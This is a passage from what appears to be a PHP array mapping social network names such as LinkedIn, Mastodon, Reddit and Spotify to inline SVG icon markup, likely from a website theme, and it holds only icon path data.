s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg>', 'lastfm' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M10.5002,0 C4.7006,0 0,4.70109753 0,10.4998496 C0,16.2989526 4.7006,21 10.5002,21 C16.299,21 21,16.2989526 21,10.4998496 C21,4.70109753 16.299,0 10.5002,0 Z M14.69735,14.7204413 C13.3164,14.7151781 12.4346,14.0870017 11.83445,12.6859357 L11.6816001,12.3451305 L10.35405,9.31011397 C9.92709997,8.26875064 8.85260001,7.57120012 7.68010001,7.57120012 C6.06945001,7.57120012 4.75925001,8.88509738 4.75925001,10.5009524 C4.75925001,12.1164565 6.06945001,13.4303036 7.68010001,13.4303036 C8.77200001,13.4303036 9.76514999,12.827541 10.2719501,11.8567047 C10.2893,11.8235214 10.3239,11.8019673 10.36305,11.8038219 C10.4007,11.8053759 10.43535,11.8287847 10.4504,11.8631709 L10.98655,13.1045863 C11.0016,13.1389726 10.9956,13.17782 10.97225,13.2068931 C10.1605001,14.1995341 8.96020001,14.7683115 7.68010001,14.7683115 C5.33305,14.7683115 3.42340001,12.8535563 3.42340001,10.5009524 C3.42340001,8.14679459 5.33300001,6.23203946 7.68010001,6.23203946 C9.45720002,6.23203946 10.8909,7.19074535 11.6138,8.86359341 C11.6205501,8.88018505 12.3412,10.5707777 12.97445,12.0190621 C13.34865,12.8739575 13.64615,13.3959676 14.6288,13.4291508 C15.5663001,13.4612814 16.25375,12.9121534 16.25375,12.1484869 C16.25375,11.4691321 15.8320501,11.3003585 14.8803,10.98216 C13.2365,10.4397989 12.34495,9.88605929 12.34495,8.51817658 C12.34495,7.1809207 13.26665,6.31615054 14.692,6.31615054 C15.62875,6.31615054 16.3155,6.7286858 16.79215,7.5768142 C16.80495,7.60062396 16.8079001,7.62814302 16.8004001,7.65420843 C16.7929,7.68027384 16.7748,7.70212868 16.7507001,7.713808 L15.86145,8.16900031 C15.8178001,8.19200805 15.7643,8.17807308 15.73565,8.13847371 C15.43295,7.71345711 15.0956,7.52513451 14.6423,7.52513451 C14.05125,7.52513451 13.6220001,7.92899802 13.6220001,8.48649708 C13.6220001,9.17382194 14.1529001,9.34144259 15.0339,9.61923972 C15.14915,9.65578139 15.26955,9.69397731 15.39385,9.73432853 C16.7763,10.1865133 17.57675,10.7311301 17.57675,12.1836251 C17.57685,13.629654 16.3389,14.7204413 14.69735,14.7204413 Z"></path></svg>', 'linkedin' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg>', 'mail' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M20,4H4C2.895,4,2,4.895,2,6v12c0,1.105,0.895,2,2,2h16c1.105,0,2-0.895,2-2V6C22,4.895,21.105,4,20,4z M20,8.236l-8,4.882 L4,8.236V6h16V8.236z"></path></svg>', 'mastodon' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M23.193 7.879c0-5.206-3.411-6.732-3.411-6.732C18.062.357 15.108.025 12.041 0h-.076c-3.068.025-6.02.357-7.74 1.147 0 0-3.411 1.526-3.411 6.732 0 1.192-.023 2.618.015 4.129.124 5.092.934 10.109 5.641 11.355 2.17.574 4.034.695 5.535.612 2.722-.15 4.25-.972 4.25-.972l-.09-1.975s-1.945.613-4.129.539c-2.165-.074-4.449-.233-4.799-2.891a5.499 5.499 0 0 1-.048-.745s2.125.52 4.817.643c1.646.075 3.19-.097 4.758-.283 3.007-.359 5.625-2.212 5.954-3.905.517-2.665.475-6.507.475-6.507zm-4.024 6.709h-2.497V8.469c0-1.29-.543-1.944-1.628-1.944-1.2 0-1.802.776-1.802 2.312v3.349h-2.483v-3.35c0-1.536-.602-2.312-1.802-2.312-1.085 0-1.628.655-1.628 1.944v6.119H4.832V8.284c0-1.289.328-2.313.987-3.07.68-.758 1.569-1.146 2.674-1.146 1.278 0 2.246.491 2.886 1.474L12 6.585l.622-1.043c.64-.983 1.608-1.474 2.886-1.474 1.104 0 1.994.388 2.674 1.146.658.757.986 1.781.986 3.07v6.304z"/></svg>', 'medium' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M20.962,7.257l-5.457,8.867l-3.923-6.375l3.126-5.08c0.112-0.182,0.319-0.286,0.527-0.286c0.05,0,0.1,0.008,0.149,0.02 c0.039,0.01,0.078,0.023,0.114,0.041l5.43,2.715l0.006,0.003c0.004,0.002,0.007,0.006,0.011,0.008 C20.971,7.191,20.98,7.227,20.962,7.257z M9.86,8.592v5.783l5.14,2.57L9.86,8.592z M15.772,17.331l4.231,2.115 C20.554,19.721,21,19.529,21,19.016V8.835L15.772,17.331z M8.968,7.178L3.665,4.527C3.569,4.479,3.478,4.456,3.395,4.456 C3.163,4.456,3,4.636,3,4.938v11.45c0,0.306,0.224,0.669,0.498,0.806l4.671,2.335c0.12,0.06,0.234,0.088,0.337,0.088 c0.29,0,0.494-0.225,0.494-0.602V7.231C9,7.208,8.988,7.188,8.968,7.178z"></path></svg>', 'meetup' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M19.24775,14.722a3.57032,3.57032,0,0,1-2.94457,3.52073,3.61886,3.61886,0,0,1-.64652.05634c-.07314-.0008-.10187.02846-.12507.09547A2.38881,2.38881,0,0,1,13.49453,20.094a2.33092,2.33092,0,0,1-1.827-.50716.13635.13635,0,0,0-.19878-.00408,3.191,3.191,0,0,1-2.104.60248,3.26309,3.26309,0,0,1-3.00324-2.71993,2.19076,2.19076,0,0,1-.03512-.30865c-.00156-.08579-.03413-.1189-.11608-.13493a2.86421,2.86421,0,0,1-1.23189-.56111,2.945,2.945,0,0,1-1.166-2.05749,2.97484,2.97484,0,0,1,.87524-2.50774.112.112,0,0,0,.02091-.16107,2.7213,2.7213,0,0,1-.36648-1.48A2.81256,2.81256,0,0,1,6.57673,7.58838a.35764.35764,0,0,0,.28869-.22819,4.2208,4.2208,0,0,1,6.02892-1.90111.25161.25161,0,0,0,.22023.0243,3.65608,3.65608,0,0,1,3.76031.90678A3.57244,3.57244,0,0,1,17.95918,8.626a2.97339,2.97339,0,0,1,.01829.57356.10637.10637,0,0,0,.0853.12792,1.97669,1.97669,0,0,1,1.27939,1.33733,2.00266,2.00266,0,0,1-.57112,2.12652c-.05284.05166-.04168.08328-.01173.13489A3.51189,3.51189,0,0,1,19.24775,14.722Zm-6.35959-.27836a1.6984,1.6984,0,0,0,1.14556,1.61113,3.82039,3.82039,0,0,0,1.036.17935,1.46888,1.46888,0,0,0,.73509-.12255.44082.44082,0,0,0,.26057-.44274.45312.45312,0,0,0-.29211-.43375.97191.97191,0,0,0-.20678-.063c-.21326-.03806-.42754-.0701-.63973-.11215a.54787.54787,0,0,1-.50172-.60926,2.75864,2.75864,0,0,1,.1773-.901c.1763-.535.414-1.045.64183-1.55913A12.686,12.686,0,0,0,15.85,10.47863a1.58461,1.58461,0,0,0,.04861-.87208,1.04531,1.04531,0,0,0-.85432-.83981,1.60658,1.60658,0,0,0-1.23654.16594.27593.27593,0,0,1-.36286-.03413c-.085-.0747-.16594-.15379-.24918-.23055a.98682.98682,0,0,0-1.33577-.04933,6.1468,6.1468,0,0,1-.4989.41615.47762.47762,0,0,1-.51535.03566c-.17448-.09307-.35512-.175-.53531-.25665a1.74949,1.74949,0,0,0-.56476-.2016,1.69943,1.69943,0,0,0-1.61654.91787,8.05815,8.05815,0,0,0-.32952.80126c-.45471,1.2557-.82507,2.53825-1.20838,3.81639a1.24151,1.24151,0,0,0,.51532,1.44389,1.42659,1.42659,0,0,0,1.22008.17166,1.09728,1.09728,0,0,0,.66994-.69764c.44145-1.04111.839-2.09989,1.25981-3.14926.11581-.28876.22792-.57874.35078-.86438a.44548.44548,0,0,1,.69189-.19539.50521.50521,0,0,1,.15044.43836,1.75625,1.75625,0,0,1-.14731.50453c-.27379.69219-.55265,1.38236-.82766,2.074a2.0836,2.0836,0,0,0-.14038.42876.50719.50719,0,0,0,.27082.57722.87236.87236,0,0,0,.66145.02739.99137.99137,0,0,0,.53406-.532q.61571-1.20914,1.228-2.42031.28423-.55863.57585-1.1133a.87189.87189,0,0,1,.29055-.35253.34987.34987,0,0,1,.37634-.01265.30291.30291,0,0,1,.12434.31459.56716.56716,0,0,1-.04655.1915c-.05318.12739-.10286.25669-.16183.38156-.34118.71775-.68754,1.43273-1.02568,2.152A2.00213,2.00213,0,0,0,12.88816,14.44366Zm4.78568,5.28972a.88573.88573,0,0,0-1.77139.00465.8857.8857,0,0,0,1.77139-.00465Zm-14.83838-7.296a.84329.84329,0,1,0,.00827-1.68655.8433.8433,0,0,0-.00827,1.68655Zm10.366-9.43673a.83506.83506,0,1,0-.0091,1.67.83505.83505,0,0,0,.0091-1.67Zm6.85014,5.22a.71651.71651,0,0,0-1.433.0093.71656.71656,0,0,0,1.433-.0093ZM5.37528,6.17908A.63823.63823,0,1,0,6.015,5.54483.62292.62292,0,0,0,5.37528,6.17908Zm6.68214,14.80843a.54949.54949,0,1,0-.55052.541A.54556.54556,0,0,0,12.05742,20.98752Zm8.53235-8.49689a.54777.54777,0,0,0-.54027.54023.53327.53327,0,0,0,.532.52293.51548.51548,0,0,0,.53272-.5237A.53187.53187,0,0,0,20.58977,12.49063ZM7.82846,2.4715a.44927.44927,0,1,0,.44484.44766A.43821.43821,0,0,0,7.82846,2.4715Zm13.775,7.60492a.41186.41186,0,0,0-.40065.39623.40178.40178,0,0,0,.40168.40168A.38994.38994,0,0,0,22,10.48172.39946.39946,0,0,0,21.60349,10.07642ZM5.79193,17.96207a.40469.40469,0,0,0-.397-.39646.399.399,0,0,0-.396.405.39234.39234,0,0,0,.39939.389A.39857.39857,0,0,0,5.79193,17.96207Z"></path></svg>', 'pinterest' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2"></path></svg>', 'pocket' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M21.927,4.194C21.667,3.48,20.982,3,20.222,3h-0.01h-1.721H3.839C3.092,3,2.411,3.47,2.145,4.17 C2.066,4.378,2.026,4.594,2.026,4.814v6.035l0.069,1.2c0.29,2.73,1.707,5.115,3.899,6.778c0.039,0.03,0.079,0.059,0.119,0.089 l0.025,0.018c1.175,0.859,2.491,1.441,3.91,1.727c0.655,0.132,1.325,0.2,1.991,0.2c0.615,0,1.232-0.057,1.839-0.17 c0.073-0.014,0.145-0.028,0.219-0.044c0.02-0.004,0.042-0.012,0.064-0.023c1.359-0.297,2.621-0.864,3.753-1.691l0.025-0.018 c0.04-0.029,0.08-0.058,0.119-0.089c2.192-1.664,3.609-4.049,3.898-6.778l0.069-1.2V4.814C22.026,4.605,22,4.398,21.927,4.194z M17.692,10.481l-4.704,4.512c-0.266,0.254-0.608,0.382-0.949,0.382c-0.342,0-0.684-0.128-0.949-0.382l-4.705-4.512 C5.838,9.957,5.82,9.089,6.344,8.542c0.524-0.547,1.392-0.565,1.939-0.04l3.756,3.601l3.755-3.601 c0.547-0.524,1.415-0.506,1.939,0.04C18.256,9.089,18.238,9.956,17.692,10.481z"></path></svg>', 'reddit' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M22,11.816c0-1.256-1.021-2.277-2.277-2.277c-0.593,0-1.122,0.24-1.526,0.614c-1.481-0.965-3.455-1.594-5.647-1.69 l1.171-3.702l3.18,0.748c0.008,1.028,0.846,1.862,1.876,1.862c1.035,0,1.877-0.842,1.877-1.878c0-1.035-0.842-1.877-1.877-1.877 c-0.769,0-1.431,0.466-1.72,1.13l-3.508-0.826c-0.203-0.047-0.399,0.067-0.46,0.261l-1.35,4.268 c-2.316,0.038-4.411,0.67-5.97,1.671C5.368,9.765,4.853,9.539,4.277,9.539C3.021,9.539,2,10.56,2,11.816 c0,0.814,0.433,1.523,1.078,1.925c-0.037,0.221-0.061,0.444-0.061,0.672c0,3.292,4.011,5.97,8.941,5.97s8.941-2.678,8.941-5.97 c0-0.214-0.02-0.424-0.053-0.632C21.533,13.39,22,12.661,22,11.816z M18.776,4.394c0.606,0,1.1,0.493,1.1,1.1s-0.493,1.1-1.1,1.1 s-1.1-0.494-1.1-1.1S18.169,4.394,18.776,4.394z M2.777,11.816c0-0.827,0.672-1.5,1.499-1.5c0.313,0,0.598,0.103,0.838,0.269 c-0.851,0.676-1.477,1.479-1.812,2.36C2.983,12.672,2.777,12.27,2.777,11.816z M11.959,19.606c-4.501,0-8.164-2.329-8.164-5.193 S7.457,9.22,11.959,9.22s8.164,2.329,8.164,5.193S16.46,19.606,11.959,19.606z M20.636,13.001c-0.326-0.89-0.948-1.701-1.797-2.384 c0.248-0.186,0.55-0.301,0.883-0.301c0.827,0,1.5,0.673,1.5,1.5C21.223,12.299,20.992,12.727,20.636,13.001z M8.996,14.704 c-0.76,0-1.397-0.616-1.397-1.376c0-0.76,0.637-1.397,1.397-1.397c0.76,0,1.376,0.637,1.376,1.397 C10.372,14.088,9.756,14.704,8.996,14.704z M16.401,13.328c0,0.76-0.616,1.376-1.376,1.376c-0.76,0-1.399-0.616-1.399-1.376 c0-0.76,0.639-1.397,1.399-1.397C15.785,11.931,16.401,12.568,16.401,13.328z M15.229,16.708c0.152,0.152,0.152,0.398,0,0.55 c-0.674,0.674-1.727,1.002-3.219,1.002c-0.004,0-0.007-0.002-0.011-0.002c-0.004,0-0.007,0.002-0.011,0.002 c-1.492,0-2.544-0.328-3.218-1.002c-0.152-0.152-0.152-0.398,0-0.55c0.152-0.152,0.399-0.151,0.55,0 c0.521,0.521,1.394,0.775,2.669,0.775c0.004,0,0.007,0.002,0.011,0.002c0.004,0,0.007-0.002,0.011-0.002 c1.275,0,2.148-0.253,2.669-0.775C14.831,16.556,15.078,16.556,15.229,16.708z"></path></svg>', 'skype' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M10.113,2.699c0.033-0.006,0.067-0.013,0.1-0.02c0.033,0.017,0.066,0.033,0.098,0.051L10.113,2.699z M2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223z M21.275,13.771 c0.007-0.035,0.011-0.071,0.018-0.106c-0.018-0.031-0.033-0.064-0.052-0.095L21.275,13.771z M13.563,21.199 c0.032,0.019,0.065,0.035,0.096,0.053c0.036-0.006,0.071-0.011,0.105-0.017L13.563,21.199z M22,16.386 c0,1.494-0.581,2.898-1.637,3.953c-1.056,1.057-2.459,1.637-3.953,1.637c-0.967,0-1.914-0.251-2.75-0.725 c0.036-0.006,0.071-0.011,0.105-0.017l-0.202-0.035c0.032,0.019,0.065,0.035,0.096,0.053c-0.543,0.096-1.099,0.147-1.654,0.147 c-1.275,0-2.512-0.25-3.676-0.743c-1.125-0.474-2.135-1.156-3.002-2.023c-0.867-0.867-1.548-1.877-2.023-3.002 c-0.493-1.164-0.743-2.401-0.743-3.676c0-0.546,0.049-1.093,0.142-1.628c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103C2.244,9.5,2,8.566,2,7.615c0-1.493,0.582-2.898,1.637-3.953 c1.056-1.056,2.46-1.638,3.953-1.638c0.915,0,1.818,0.228,2.622,0.655c-0.033,0.007-0.067,0.013-0.1,0.02l0.199,0.031 c-0.032-0.018-0.066-0.034-0.098-0.051c0.002,0,0.003-0.001,0.004-0.001c0.586-0.112,1.187-0.169,1.788-0.169 c1.275,0,2.512,0.249,3.676,0.742c1.124,0.476,2.135,1.156,3.002,2.024c0.868,0.867,1.548,1.877,2.024,3.002 c0.493,1.164,0.743,2.401,0.743,3.676c0,0.575-0.054,1.15-0.157,1.712c-0.018-0.031-0.033-0.064-0.052-0.095l0.034,0.201 c0.007-0.035,0.011-0.071,0.018-0.106C21.754,14.494,22,15.432,22,16.386z M16.817,14.138c0-1.331-0.613-2.743-3.033-3.282 l-2.209-0.49c-0.84-0.192-1.807-0.444-1.807-1.237c0-0.794,0.679-1.348,1.903-1.348c2.468,0,2.243,1.696,3.468,1.696 c0.645,0,1.209-0.379,1.209-1.031c0-1.521-2.435-2.663-4.5-2.663c-2.242,0-4.63,0.952-4.63,3.488c0,1.221,0.436,2.521,2.839,3.123 l2.984,0.745c0.903,0.223,1.129,0.731,1.129,1.189c0,0.762-0.758,1.507-2.129,1.507c-2.679,0-2.307-2.062-3.743-2.062 c-0.645,0-1.113,0.444-1.113,1.078c0,1.236,1.501,2.886,4.856,2.886C15.236,17.737,16.817,16.199,16.817,14.138z"></path></svg>', 'snapchat' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12.065,2a5.526,5.526,0,0,1,3.132.892A5.854,5.854,0,0,1,17.326,5.4a5.821,5.821,0,0,1,.351,2.33q0,.612-.117,2.487a.809.809,0,0,0,.365.091,1.93,1.93,0,0,0,.664-.176,1.93,1.93,0,0,1,.664-.176,1.3,1.3,0,0,1,.729.234.7.7,0,0,1,.351.6.839.839,0,0,1-.41.7,2.732,2.732,0,0,1-.9.41,3.192,3.192,0,0,0-.9.378.728.728,0,0,0-.41.618,1.575,1.575,0,0,0,.156.56,6.9,6.9,0,0,0,1.334,1.953,5.6,5.6,0,0,0,1.881,1.315,5.875,5.875,0,0,0,1.042.3.42.42,0,0,1,.365.456q0,.911-2.852,1.341a1.379,1.379,0,0,0-.143.507,1.8,1.8,0,0,1-.182.605.451.451,0,0,1-.429.241,5.878,5.878,0,0,1-.807-.085,5.917,5.917,0,0,0-.833-.085,4.217,4.217,0,0,0-.807.065,2.42,2.42,0,0,0-.82.293,6.682,6.682,0,0,0-.755.5q-.351.267-.755.527a3.886,3.886,0,0,1-.989.436A4.471,4.471,0,0,1,11.831,22a4.307,4.307,0,0,1-1.256-.176,3.784,3.784,0,0,1-.976-.436q-.4-.26-.749-.527a6.682,6.682,0,0,0-.755-.5,2.422,2.422,0,0,0-.807-.293,4.432,4.432,0,0,0-.82-.065,5.089,5.089,0,0,0-.853.1,5,5,0,0,1-.762.1.474.474,0,0,1-.456-.241,1.819,1.819,0,0,1-.182-.618,1.411,1.411,0,0,0-.143-.521q-2.852-.429-2.852-1.341a.42.42,0,0,1,.365-.456,5.793,5.793,0,0,0,1.042-.3,5.524,5.524,0,0,0,1.881-1.315,6.789,6.789,0,0,0,1.334-1.953A1.575,1.575,0,0,0,6,12.9a.728.728,0,0,0-.41-.618,3.323,3.323,0,0,0-.9-.384,2.912,2.912,0,0,1-.9-.41.814.814,0,0,1-.41-.684.71.71,0,0,1,.338-.593,1.208,1.208,0,0,1,.716-.241,1.976,1.976,0,0,1,.625.169,2.008,2.008,0,0,0,.69.169.919.919,0,0,0,.416-.091q-.117-1.849-.117-2.474A5.861,5.861,0,0,1,6.385,5.4,5.516,5.516,0,0,1,8.625,2.819,7.075,7.075,0,0,1,12.062,2Z"></path></svg>', 'soundcloud' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M8.9,16.1L9,14L8.9,9.5c0-0.1,0-0.1-0.1-0.1c0,0-0.1-0.1-0.1-0.1c-0.1,0-0.1,0-0.1,0.1c0,0-0.1,0.1-0.1,0.1L8.3,14l0.1,2.1 c0,0.1,0,0.1,0.1,0.1c0,0,0.1,0.1,0.1,0.1C8.8,16.3,8.9,16.3,8.9,16.1z M11.4,15.9l0.1-1.8L11.4,9c0-0.1,0-0.2-0.1-0.2 c0,0-0.1,0-0.1,0s-0.1,0-0.1,0c-0.1,0-0.1,0.1-0.1,0.2l0,0.1l-0.1,5c0,0,0,0.7,0.1,2v0c0,0.1,0,0.1,0.1,0.1c0.1,0.1,0.1,0.1,0.2,0.1 c0.1,0,0.1,0,0.2-0.1c0.1,0,0.1-0.1,0.1-0.2L11.4,15.9z M2.4,12.9L2.5,14l-0.2,1.1c0,0.1,0,0.1-0.1,0.1c0,0-0.1,0-0.1-0.1L2.1,14 l0.1-1.1C2.2,12.9,2.3,12.9,2.4,12.9C2.3,12.9,2.4,12.9,2.4,12.9z M3.1,12.2L3.3,14l-0.2,1.8c0,0.1,0,0.1-0.1,0.1 c-0.1,0-0.1,0-0.1-0.1L2.8,14L3,12.2C3,12.2,3,12.2,3.1,12.2C3.1,12.2,3.1,12.2,3.1,12.2z M3.9,11.9L4.1,14l-0.2,2.1 c0,0.1,0,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L3.5,14l0.2-2.1c0-0.1,0-0.1,0.1-0.1C3.9,11.8,3.9,11.8,3.9,11.9z M4.7,11.9L4.9,14 l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L4.3,14l0.2-2.2c0-0.1,0-0.1,0.1-0.1C4.7,11.7,4.7,11.8,4.7,11.9z M5.6,12 l0.2,2l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c0,0-0.1,0-0.1,0c0,0,0-0.1,0-0.1L5.1,14l0.2-2c0,0,0-0.1,0-0.1s0.1,0,0.1,0 C5.5,11.9,5.5,11.9,5.6,12L5.6,12z M6.4,10.7L6.6,14l-0.2,2.1c0,0,0,0.1,0,0.1c0,0-0.1,0-0.1,0c-0.1,0-0.1-0.1-0.2-0.2L5.9,14 l0.2-3.3c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0C6.4,10.7,6.4,10.7,6.4,10.7z M7.2,10l0.2,4.1l-0.2,2.1c0,0,0,0.1,0,0.1 c0,0-0.1,0-0.1,0c-0.1,0-0.2-0.1-0.2-0.2l-0.1-2.1L6.8,10c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0S7.2,9.9,7.2,10z M8,9.6L8.2,14 L8,16.1c0,0.1-0.1,0.2-0.2,0.2c-0.1,0-0.2-0.1-0.2-0.2L7.5,14l0.1-4.4c0-0.1,0-0.1,0.1-0.1c0,0,0.1-0.1,0.1-0.1c0.1,0,0.1,0,0.1,0.1 C8,9.6,8,9.6,8,9.6z M11.4,16.1L11.4,16.1L11.4,16.1z M9.7,9.6L9.8,14l-0.1,2.1c0,0.1,0,0.1-0.1,0.2s-0.1,0.1-0.2,0.1 c-0.1,0-0.1,0-0.1-0.1s-0.1-0.1-0.1-0.2L9.2,14l0.1-4.4c0-0.1,0-0.1,0.1-0.2s0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S9.7,9.5,9.7,9.6 L9.7,9.6z M10.6,9.8l0.1,4.3l-0.1,2c0,0.1,0,0.1-0.1,0.2c0,0-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c0,0-0.1-0.1-0.1-0.2L10,14 l0.1-4.3c0-0.1,0-0.1,0.1-0.2c0,0,0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S10.6,9.7,10.6,9.8z M12.4,14l-0.1,2c0,0.1,0,0.1-0.1,0.2 c-0.1,0.1-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2l-0.1-1l-0.1-1l0.1-5.5v0c0-0.1,0-0.2,0.1-0.2 c0.1,0,0.1-0.1,0.2-0.1c0,0,0.1,0,0.1,0c0.1,0,0.1,0.1,0.1,0.2L12.4,14z M22.1,13.9c0,0.7-0.2,1.3-0.7,1.7c-0.5,0.5-1.1,0.7-1.7,0.7 h-6.8c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2V8.2c0-0.1,0.1-0.2,0.2-0.3c0.5-0.2,1-0.3,1.6-0.3c1.1,0,2.1,0.4,2.9,1.1 c0.8,0.8,1.3,1.7,1.4,2.8c0.3-0.1,0.6-0.2,1-0.2c0.7,0,1.3,0.2,1.7,0.7C21.8,12.6,22.1,13.2,22.1,13.9L22.1,13.9z"></path></svg>', 'spotify' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12,2C6.477,2,2,6.477,2,12c0,5.523,4.477,10,10,10c5.523,0,10-4.477,10-10C22,6.477,17.523,2,12,2 M16.586,16.424 c-0.18,0.295-0.563,0.387-0.857,0.207c-2.348-1.435-5.304-1.76-8.785-0.964c-0.335,0.077-0.67-0.133-0.746-0.469 c-0.077-0.335,0.132-0.67,0.469-0.746c3.809-0.871,7.077-0.496,9.713,1.115C16.673,15.746,16.766,16.13,16.586,16.424 M17.81,13.7 c-0.226,0.367-0.706,0.482-1.072,0.257c-2.687-1.652-6.785-2.131-9.965-1.166C6.36,12.917,5.925,12.684,5.8,12.273 C5.675,11.86,5.908,11.425,6.32,11.3c3.632-1.102,8.147-0.568,11.234,1.328C17.92,12.854,18.035,13.335,17.81,13.7 M17.915,10.865 c-3.223-1.914-8.54-2.09-11.618-1.156C5.804,9.859,5.281,9.58,5.131,9.086C4.982,8.591,5.26,8.069,5.755,7.919 c3.532-1.072,9.404-0.865,13.115,1.338c0.445,0.264,0.59,0.838,0.327,1.282C18.933,10.983,18.359,11.129,17.915,10.865"></path></svg>', 'tumblr' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M16.749,17.396c-0.357,0.17-1.041,0.319-1.551,0.332c-1.539,0.041-1.837-1.081-1.85-1.896V9.847h3.861V6.937h-3.847V2.039 c0,0-2.77,0-2.817,0c-0.046,0-0.127,0.041-0.138,0.144c-0.165,1.499-0.867,4.13-3.783,5.181v2.484h1.945v6.282 c0,2.151,1.587,5.206,5.775,5.135c1.413-0.024,2.982-0.616,3.329-1.126L16.749,17.396z"></path></svg>', 'twitch' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M16.499,8.089h-1.636v4.91h1.636V8.089z M12,8.089h-1.637v4.91H12V8.089z M4.228,3.178L3,6.451v13.092h4.499V22h2.456 l2.454-2.456h3.681L21,14.636V3.178H4.228z M19.364,13.816l-2.864,2.865H12l-2.453,2.453V16.68H5.863V4.814h13.501V13.816z"></path></svg>', 'twitter' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M22.23,5.924c-0.736,0.326-1.527,0.547-2.357,0.646c0.847-0.508,1.498-1.312,1.804-2.27 c-0.793,0.47-1.671,0.812-2.606,0.996C18.324,4.498,17.257,4,16.077,4c-2.266,0-4.103,1.837-4.103,4.103 c0,0.322,0.036,0.635,0.106,0.935C8.67,8.867,5.647,7.234,3.623,4.751C3.27,5.357,3.067,6.062,3.067,6.814 c0,1.424,0.724,2.679,1.825,3.415c-0.673-0.021-1.305-0.206-1.859-0.513c0,0.017,0,0.034,0,0.052c0,1.988,1.414,3.647,3.292,4.023 c-0.344,0.094-0.707,0.144-1.081,0.144c-0.264,0-0.521-0.026-0.772-0.074c0.522,1.63,2.038,2.816,3.833,2.85 c-1.404,1.1-3.174,1.756-5.096,1.756c-0.331,0-0.658-0.019-0.979-0.057c1.816,1.164,3.973,1.843,6.29,1.843 c7.547,0,11.675-6.252,11.675-11.675c0-0.178-0.004-0.355-0.012-0.531C20.985,7.47,21.68,6.747,22.23,5.924z"></path></svg>', 'vimeo' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M22.396,7.164c-0.093,2.026-1.507,4.799-4.245,8.32C15.322,19.161,12.928,21,10.97,21c-1.214,0-2.24-1.119-3.079-3.359 c-0.56-2.053-1.119-4.106-1.68-6.159C5.588,9.243,4.921,8.122,4.206,8.122c-0.156,0-0.701,0.328-1.634,0.98L1.594,7.841 c1.027-0.902,2.04-1.805,3.037-2.708C6.001,3.95,7.03,3.327,7.715,3.264c1.619-0.156,2.616,0.951,2.99,3.321 